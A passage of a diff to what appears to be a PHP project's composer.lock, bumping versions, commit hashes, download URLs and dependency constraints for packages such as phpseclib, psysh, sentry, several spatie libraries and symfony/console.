"aa6ad8321ed103dc3624fb600a25b66ebf78ec7b", "shasum": "" }, "require": { @@ -5086,7 +5246,7 @@ ], "support": { "issues": "https://github.com/phpseclib/phpseclib/issues", - "source": "https://github.com/phpseclib/phpseclib/tree/3.0.49" + "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50" }, "funding": [ { @@ -5102,7 +5262,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T09:17:28+00:00" + "time": "2026-03-19T02:57:58+00:00" }, { "name": "phpstan/phpdoc-parser", @@ -5219,16 +5379,16 @@ }, { "name": "poliander/cron", - "version": "3.3.0", + "version": "3.3.1", "source": { "type": "git", "url": "https://github.com/poliander/cron.git", - "reference": "13892a8d7f90c7e93947f21e115037b6a0d979bd" + "reference": "8b6fc91b86de3d973f6ea16eda846f522ed1ce7a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/poliander/cron/zipball/13892a8d7f90c7e93947f21e115037b6a0d979bd", - "reference": "13892a8d7f90c7e93947f21e115037b6a0d979bd", + "url": "https://api.github.com/repos/poliander/cron/zipball/8b6fc91b86de3d973f6ea16eda846f522ed1ce7a", + "reference": "8b6fc91b86de3d973f6ea16eda846f522ed1ce7a", "shasum": "" }, "require": { @@ -5257,9 +5417,9 @@ "homepage": "https://github.com/poliander/cron", "support": { "issues": "https://github.com/poliander/cron/issues", - "source": "https://github.com/poliander/cron/tree/3.3.0" + "source": "https://github.com/poliander/cron/tree/3.3.1" }, - "time": "2025-11-23T17:30:50+00:00" + "time": "2026-03-05T19:37:26+00:00" }, { "name": "pragmarx/google2fa", @@ -5776,16 +5936,16 @@ }, { "name": "psy/psysh", - "version": "v0.12.19", + "version": "v0.12.22", "source": { "type": "git", "url": "https://github.com/bobthecow/psysh.git", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee" + "reference": "3be75d5b9244936dd4ac62ade2bfb004d13acf0f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/bobthecow/psysh/zipball/a4f766e5c5b6773d8399711019bb7d90875a50ee", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/3be75d5b9244936dd4ac62ade2bfb004d13acf0f", + "reference": "3be75d5b9244936dd4ac62ade2bfb004d13acf0f", "shasum": "" }, "require": { @@ -5849,9 +6009,9 @@ ], "support": { "issues": "https://github.com/bobthecow/psysh/issues", - "source": "https://github.com/bobthecow/psysh/tree/v0.12.19" + "source": "https://github.com/bobthecow/psysh/tree/v0.12.22" }, - "time": "2026-01-30T17:33:13+00:00" + "time": "2026-03-22T23:03:24+00:00" }, { "name": "purplepixie/phpdns", @@ -6288,16 +6448,16 @@ }, { "name": "sentry/sentry", - "version": "4.19.1", + "version": "4.23.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-php.git", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3" + "reference": "121a674d5fffcdb8e414b75c1b76edba8e592b66" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/1c21d60bebe67c0122335bd3fe977990435af0a3", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3", + "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/121a674d5fffcdb8e414b75c1b76edba8e592b66", + "reference": "121a674d5fffcdb8e414b75c1b76edba8e592b66", "shasum": "" }, "require": { @@ -6318,10 +6478,15 @@ "guzzlehttp/promises": "^2.0.3", "guzzlehttp/psr7": "^1.8.4|^2.1.1", "monolog/monolog": "^1.6|^2.0|^3.0", + "nyholm/psr7": "^1.8", + "open-telemetry/api": "^1.0", + "open-telemetry/exporter-otlp": "^1.0", + "open-telemetry/sdk": "^1.0", "phpbench/phpbench": "^1.0", "phpstan/phpstan": "^1.3", - "phpunit/phpunit": "^8.5|^9.6", - "vimeo/psalm": "^4.17" + "phpunit/phpunit": "^8.5.52|^9.6.34", + "spiral/roadrunner-http": "^3.6", + "spiral/roadrunner-worker": "^3.6" }, "suggest": { "monolog/monolog": "Allow sending log messages to Sentry by using the included Monolog handler." @@ -6360,7 +6525,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-php/issues", - "source": "https://github.com/getsentry/sentry-php/tree/4.19.1" + "source": "https://github.com/getsentry/sentry-php/tree/4.23.0" }, "funding": [ { @@ -6372,40 +6537,41 @@ "type": "custom" } ], - "time": "2025-12-02T15:57:41+00:00" + "time": "2026-03-23T13:15:52+00:00" }, { "name": "sentry/sentry-laravel", - "version": "4.20.1", + "version": "4.24.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-laravel.git", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72" + "reference": "f823bd85e38e06cb4f1b7a82d48a2fc95320b31d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/503853fa7ee74b34b64e76f1373db86cd11afe72", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72", + "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/f823bd85e38e06cb4f1b7a82d48a2fc95320b31d", + "reference": "f823bd85e38e06cb4f1b7a82d48a2fc95320b31d", "shasum": "" }, "require": { - "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0", + "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0 | ^13.0", "nyholm/psr7": "^1.0", "php": "^7.2 | ^8.0", - "sentry/sentry": "^4.19.0", + "sentry/sentry": "^4.23.0", "symfony/psr-http-message-bridge": "^1.0 | ^2.0 | ^6.0 | ^7.0 | ^8.0" }, "require-dev": { "friendsofphp/php-cs-fixer": "^3.11", "guzzlehttp/guzzle": "^7.2", "laravel/folio": "^1.1", - "laravel/framework": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0", + "laravel/framework": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0 | ^13.0", + "laravel/octane": "^2.15", "laravel/pennant": "^1.0", - "livewire/livewire": "^2.0 | ^3.0", + "livewire/livewire": "^2.0 | ^3.0 | ^4.0", "mockery/mockery": "^1.3", - "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0", + "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0", "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.4 | ^9.3 | ^10.4 | ^11.5" + "phpunit/phpunit": "^8.5 | ^9.6 | ^10.4 | ^11.5" }, "type": "library", "extra": { @@ -6450,7 +6616,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-laravel/issues", - "source": "https://github.com/getsentry/sentry-laravel/tree/4.20.1" + "source": "https://github.com/getsentry/sentry-laravel/tree/4.24.0" }, "funding": [ { @@ -6462,20 +6628,20 @@ "type": "custom" } ], - "time": "2026-01-07T08:53:19+00:00" + "time": "2026-03-24T10:33:54+00:00" }, { "name": "socialiteproviders/authentik", - "version": "5.2.0", + "version": "5.3.0", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Authentik.git", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66" + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4cf129cf04728a38e0531c54454464b162f0fa66", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66", + "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", "shasum": "" }, "require": { @@ -6512,7 +6678,7 @@ "issues": "https://github.com/socialiteproviders/providers/issues", "source": "https://github.com/socialiteproviders/providers" }, - "time": "2023-11-07T22:21:16+00:00" + "time": "2026-02-04T14:27:03+00:00" }, { "name": "socialiteproviders/clerk", @@ -6708,22 +6874,22 @@ }, { "name": "socialiteproviders/manager", - "version": "v4.8.1", + "version": "4.9.2", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Manager.git", - "reference": "8180ec14bef230ec2351cff993d5d2d7ca470ef4" + "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/8180ec14bef230ec2351cff993d5d2d7ca470ef4", - "reference": "8180ec14bef230ec2351cff993d5d2d7ca470ef4", + "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/35372dc62787e61e91cfec73f45fd5d5ae0f8891", + "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891", "shasum": "" }, "require": { - "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", + "illuminate/support": "^11.0 || ^12.0 || ^13.0", "laravel/socialite": "^5.5", - "php": "^8.1" + "php": "^8.2" }, "require-dev": { "mockery/mockery": "^1.2", @@ -6778,7 +6944,7 @@ "issues": "https://github.com/socialiteproviders/manager/issues", "source": "https://github.com/socialiteproviders/manager" }, - "time": "2025-02-24T19:33:30+00:00" + "time": "2026-03-18T22:13:24+00:00" }, { "name": "socialiteproviders/microsoft-azure", @@ -6883,16 +7049,16 @@ }, { "name": "spatie/backtrace", - "version": "1.8.1", + "version": "1.8.2", "source": { "type": "git", "url": "https://github.com/spatie/backtrace.git", - "reference": "8c0f16a59ae35ec8c62d85c3c17585158f430110" + "reference": "8ffe78be5ed355b5009e3dd989d183433e9a5adc" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/backtrace/zipball/8c0f16a59ae35ec8c62d85c3c17585158f430110", - "reference": "8c0f16a59ae35ec8c62d85c3c17585158f430110", + "url": "https://api.github.com/repos/spatie/backtrace/zipball/8ffe78be5ed355b5009e3dd989d183433e9a5adc", + "reference": "8ffe78be5ed355b5009e3dd989d183433e9a5adc", "shasum": "" }, "require": { @@ -6903,7 +7069,7 @@ "laravel/serializable-closure": "^1.3 || ^2.0", "phpunit/phpunit": "^9.3 || ^11.4.3", "spatie/phpunit-snapshot-assertions": "^4.2 || ^5.1.6", - "symfony/var-dumper": "^5.1 || ^6.0 || ^7.0" + "symfony/var-dumper": "^5.1|^6.0|^7.0|^8.0" }, "type": "library", "autoload": { @@ -6931,7 +7097,7 @@ ], "support": { "issues": "https://github.com/spatie/backtrace/issues", - "source": "https://github.com/spatie/backtrace/tree/1.8.1" + "source": "https://github.com/spatie/backtrace/tree/1.8.2" }, "funding": [ { @@ -6943,7 +7109,7 @@ "type": "other" } ], - "time": "2025-08-26T08:22:30+00:00" + "time": "2026-03-11T13:48:28+00:00" }, { "name": "spatie/commonmark-shiki-highlighter", @@ -7007,29 +7173,29 @@ }, { "name": "spatie/laravel-activitylog", - "version": "4.11.0", + "version": "4.12.3", "source": { "type": "git", "url": "https://github.com/spatie/laravel-activitylog.git", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f" + "reference": "2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/cd7c458f0e128e56eb2d71977d67a846ce4cc10f", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f", + "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0", + "reference": "2a2024fcac05628b0d1bfdbb1b94dda8b0661dc0", "shasum": "" }, "require": { - "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", - "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0", - "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", + "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", "php": "^8.1", "spatie/laravel-package-tools": "^1.6.3" }, "require-dev": { "ext-json": "*", - "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0", - "pestphp/pest": "^1.20 || ^2.0 || ^3.0" + "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0 || ^11.0", + "pestphp/pest": "^1.20 || ^2.0 || ^3.0 || ^4.0" }, "type": "library", "extra": { @@ -7082,7 +7248,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-activitylog/issues", - "source": "https://github.com/spatie/laravel-activitylog/tree/4.11.0" + "source": "https://github.com/spatie/laravel-activitylog/tree/4.12.3" }, "funding": [ { @@ -7094,24 +7260,24 @@ "type": "github" } ], - "time": "2026-01-31T12:25:02+00:00" + "time": "2026-03-24T12:33:53+00:00" }, { "name": "spatie/laravel-data", - "version": "4.19.1", + "version": "4.20.1", "source": { "type": "git", "url": "https://github.com/spatie/laravel-data.git", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89" + "reference": "5490cb15de6fc8b35a8cd2f661fac072d987a1ad" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-data/zipball/41ed0472250676f19440fb24d7b62a8d43abdb89", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89", + "url": "https://api.github.com/repos/spatie/laravel-data/zipball/5490cb15de6fc8b35a8cd2f661fac072d987a1ad", + "reference": "5490cb15de6fc8b35a8cd2f661fac072d987a1ad", "shasum": "" }, "require": { - "illuminate/contracts": "^10.0|^11.0|^12.0", + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "phpdocumentor/reflection": "^6.0", "spatie/laravel-package-tools": "^1.9.0", @@ -7121,10 +7287,10 @@ "fakerphp/faker": "^1.14", "friendsofphp/php-cs-fixer": "^3.0", "inertiajs/inertia-laravel": "^2.0", - "livewire/livewire": "^3.0", + "livewire/livewire": "^3.0|^4.0", "mockery/mockery": "^1.6", "nesbot/carbon": "^2.63|^3.0", - "orchestra/testbench": "^8.37.0|^9.16|^10.9", + "orchestra/testbench": "^8.37.0|^9.16|^10.9|^11.0", "pestphp/pest": "^2.36|^3.8|^4.3", "pestphp/pest-plugin-laravel": "^2.4|^3.0|^4.0", "pestphp/pest-plugin-livewire": "^2.1|^3.0|^4.0", @@ -7168,7 +7334,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-data/issues", - "source": "https://github.com/spatie/laravel-data/tree/4.19.1" + "source": "https://github.com/spatie/laravel-data/tree/4.20.1" }, "funding": [ { @@ -7176,27 +7342,27 @@ "type": "github" } ], - "time": "2026-01-28T13:10:20+00:00" + "time": "2026-03-18T07:44:01+00:00" }, { "name": "spatie/laravel-markdown", - "version": "2.7.1", + "version": "2.8.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-markdown.git", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280" + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/353e7f9fae62826e26cbadef58a12ecf39685280", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280", + "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/eabe8c7e31c2739ad0fe63ba04eb2e3189608187", + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187", "shasum": "" }, "require": { - "illuminate/cache": "^9.0|^10.0|^11.0|^12.0", - "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^9.0|^10.0|^11.0|^12.0", - "illuminate/view": "^9.0|^10.0|^11.0|^12.0", + "illuminate/cache": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/view": "^9.0|^10.0|^11.0|^12.0|^13.0", "league/commonmark": "^2.6.0", "php": "^8.1", "spatie/commonmark-shiki-highlighter": "^2.5", @@ -7205,9 +7371,9 @@ "require-dev": { "brianium/paratest": "^6.2|^7.8", "nunomaduro/collision": "^5.3|^6.0|^7.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0", - "pestphp/pest": "^1.22|^2.0|^3.7", - "phpunit/phpunit": "^9.3|^11.5.3", + "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0|^11.0", + "pestphp/pest": "^1.22|^2.0|^3.7|^4.4", + "phpunit/phpunit": "^9.3|^11.5.3|^12.5.12", "spatie/laravel-ray": "^1.23", "spatie/pest-plugin-snapshots": "^1.1|^2.2|^3.0", "vimeo/psalm": "^4.8|^6.7" @@ -7244,7 +7410,7 @@ "spatie" ], "support": { - "source": "https://github.com/spatie/laravel-markdown/tree/2.7.1" + "source": "https://github.com/spatie/laravel-markdown/tree/2.8.0" }, "funding": [ { @@ -7252,33 +7418,33 @@ "type": "github" } ], - "time": "2025-02-21T13:43:18+00:00" + "time": "2026-02-22T18:53:36+00:00" }, { "name": "spatie/laravel-package-tools", - "version": "1.92.7", + "version": "1.93.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-package-tools.git", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5" + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/f09a799850b1ed765103a4f0b4355006360c49a5", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", "shasum": "" }, "require": { - "illuminate/contracts": "^9.28|^10.0|^11.0|^12.0", - "php": "^8.0" + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", + "php": "^8.1" }, "require-dev": { "mockery/mockery": "^1.5", - "orchestra/testbench": "^7.7|^8.0|^9.0|^10.0", - "pestphp/pest": "^1.23|^2.1|^3.1", - "phpunit/php-code-coverage": "^9.0|^10.0|^11.0", - "phpunit/phpunit": "^9.5.24|^10.5|^11.5", - "spatie/pest-plugin-test-time": "^1.1|^2.2" + "orchestra/testbench": "^8.0|^9.2|^10.0|^11.0", + "pestphp/pest": "^2.1|^3.1|^4.0", + "phpunit/php-code-coverage": "^10.0|^11.0|^12.0", + "phpunit/phpunit": "^10.5|^11.5|^12.5", + "spatie/pest-plugin-test-time": "^2.2|^3.0" }, "type": "library", "autoload": { @@ -7305,7 +7471,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-package-tools/issues", - "source": "https://github.com/spatie/laravel-package-tools/tree/1.92.7" + "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.0" }, "funding": [ { @@ -7313,40 +7479,40 @@ "type": "github" } ], - "time": "2025-07-17T15:46:43+00:00" + "time": "2026-02-21T12:49:54+00:00" }, { "name": "spatie/laravel-ray", - "version": "1.43.5", + "version": "1.43.7", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ray.git", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d" + "reference": "d550d0b5bf87bb1b1668089f3c843e786ee522d3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/2003e627d4a17e8411fff18153e47a754f0c028d", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d", + "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/d550d0b5bf87bb1b1668089f3c843e786ee522d3", + "reference": "d550d0b5bf87bb1b1668089f3c843e786ee522d3", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-json": "*", - "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^7.4|^8.0", "spatie/backtrace": "^1.7.1", "spatie/ray": "^1.45.0", "symfony/stopwatch": "4.2|^5.1|^6.0|^7.0|^8.0", - "zbateson/mail-mime-parser": "^1.3.1|^2.0|^3.0" + "zbateson/mail-mime-parser": "^1.3.1|^2.0|^3.0|^4.0" }, "require-dev": { "guzzlehttp/guzzle": "^7.3", - "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "laravel/pint": "^1.27", - "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0", + "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0", "pestphp/pest": "^1.22|^2.0|^3.0|^4.0", "phpstan/phpstan": "^1.10.57|^2.0.2", "phpunit/phpunit": "^9.3|^10.1|^11.0.10|^12.4", @@ -7390,7 +7556,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-ray/issues", - "source": "https://github.com/spatie/laravel-ray/tree/1.43.5" + "source": "https://github.com/spatie/laravel-ray/tree/1.43.7" }, "funding": [ { @@ -7402,26 +7568,26 @@ "type": "other" } ], - "time": "2026-01-26T19:05:19+00:00" + "time": "2026-03-06T08:19:04+00:00" }, { "name": "spatie/laravel-schemaless-attributes", - "version": "2.5.1", + "version": "2.6.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-schemaless-attributes.git", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a" + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/3561875fb6886ae55e5378f20ba5ac87f20b265a", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a", + "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/7d17ab5f434ae47324b849e007ce80669966c14e", + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e", "shasum": "" }, "require": { - "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^8.0", "spatie/laravel-package-tools": "^1.4.3" }, @@ -7429,9 +7595,9 @@ "brianium/paratest": "^6.2|^7.4", "mockery/mockery": "^1.4", "nunomaduro/collision": "^5.3|^6.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0", - "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1", - "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.0" + "orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0|^11.0", + "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1|^4.0", + "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.3" }, "type": "library", "extra": { @@ -7466,7 +7632,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-schemaless-attributes/issues", - "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.5.1" + "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.6.0" }, "funding": [ { @@ -7478,7 +7644,7 @@ "type": "github" } ], - "time": "2025-02-10T09:28:22+00:00" + "time": "2026-02-21T15:13:56+00:00" }, { "name": "spatie/macroable", @@ -7533,29 +7699,29 @@ }, { "name": "spatie/php-structure-discoverer", - "version": "2.3.3", + "version": "2.4.0", "source": { "type": "git", "url": "https://github.com/spatie/php-structure-discoverer.git", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b" + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/552a5b974a9853a32e5677a66e85ae615a96a90b", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b", + "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/9a53c79b48fca8b6d15faa8cbba47cc430355146", + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146", "shasum": "" }, "require": { - "illuminate/collections": "^11.0|^12.0", + "illuminate/collections": "^11.0|^12.0|^13.0", "php": "^8.3", "spatie/laravel-package-tools": "^1.92.7", "symfony/finder": "^6.0|^7.3.5|^8.0" }, "require-dev": { "amphp/parallel": "^2.3.2", - "illuminate/console": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", "nunomaduro/collision": "^7.0|^8.8.3", - "orchestra/testbench": "^9.5|^10.8", + "orchestra/testbench": "^9.5|^10.8|^11.0", "pestphp/pest": "^3.8|^4.0", "pestphp/pest-plugin-laravel": "^3.2|^4.0", "phpstan/extension-installer": "^1.4.3", @@ -7600,7 +7766,7 @@ ], "support": { "issues": "https://github.com/spatie/php-structure-discoverer/issues", - "source": "https://github.com/spatie/php-structure-discoverer/tree/2.3.3" + "source": "https://github.com/spatie/php-structure-discoverer/tree/2.4.0" }, "funding": [ { @@ -7608,20 +7774,20 @@ "type": "github" } ], - "time": "2025-11-24T16:41:01+00:00" + "time": "2026-02-21T15:57:15+00:00" }, { "name": "spatie/ray", - "version": "1.45.0", + "version": "1.47.0", "source": { "type": "git", "url": "https://github.com/spatie/ray.git", - "reference": "68920c418d10fe103722d366faa575533d26434f" + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/ray/zipball/68920c418d10fe103722d366faa575533d26434f", - "reference": "68920c418d10fe103722d366faa575533d26434f", + "url": "https://api.github.com/repos/spatie/ray/zipball/3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", "shasum": "" }, "require": { @@ -7635,7 +7801,7 @@ "symfony/var-dumper": "^4.2|^5.1|^6.0|^7.0.3|^8.0" }, "require-dev": { - "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0", + "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.63|^3.8.4", "pestphp/pest": "^1.22", "phpstan/phpstan": "^1.10.57|^2.0.3", @@ -7681,7 +7847,7 @@ ], "support": { "issues": "https://github.com/spatie/ray/issues", - "source": "https://github.com/spatie/ray/tree/1.45.0" + "source": "https://github.com/spatie/ray/tree/1.47.0" }, "funding": [ { @@ -7693,7 +7859,7 @@ "type": "other" } ], - "time": "2026-01-26T18:45:30+00:00" + "time": "2026-02-20T20:42:26+00:00" }, { "name": "spatie/shiki-php", @@ -7824,27 +7990,27 @@ }, { "name": "stevebauman/purify", - "version": "v6.3.1", + "version": "v6.3.2", "source": { "type": "git", "url": "https://github.com/stevebauman/purify.git", - "reference": "3acb5e77904f420ce8aad8fa1c7f394e82daa500" + "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/stevebauman/purify/zipball/3acb5e77904f420ce8aad8fa1c7f394e82daa500", - "reference": "3acb5e77904f420ce8aad8fa1c7f394e82daa500", + "url": "https://api.github.com/repos/stevebauman/purify/zipball/deba4aa55a45a7593c369b52d481c87b545a5bf8", + "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8", "shasum": "" }, "require": { "ezyang/htmlpurifier": "^4.17", - "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "php": ">=7.4" }, "require-dev": { - "orchestra/testbench": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0", - "phpunit/phpunit": "^8.0|^9.0|^10.0|^11.5.3" + "orchestra/testbench": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0", + "phpunit/phpunit": "^8.0|^9.0|^10.0|^11.5.3|^12.5.12" }, "type": "library", "extra": { @@ -7884,9 +8050,9 @@ ], "support": { "issues": "https://github.com/stevebauman/purify/issues", - "source": "https://github.com/stevebauman/purify/tree/v6.3.1" + "source": "https://github.com/stevebauman/purify/tree/v6.3.2" }, - "time": "2025-05-21T16:53:09+00:00" + "time": "2026-03-18T16:42:42+00:00" }, { "name": "stripe/stripe-php", @@ -8026,16 +8192,16 @@ }, { "name": "symfony/console", - "version": "v7.4.4", + "version": "v7.4.7", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894" + "reference": "e1e6770440fb9c9b0cf725f81d1361ad1835329d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/41e38717ac1dd7a46b6bda7d6a82af2d98a78894", - "reference": 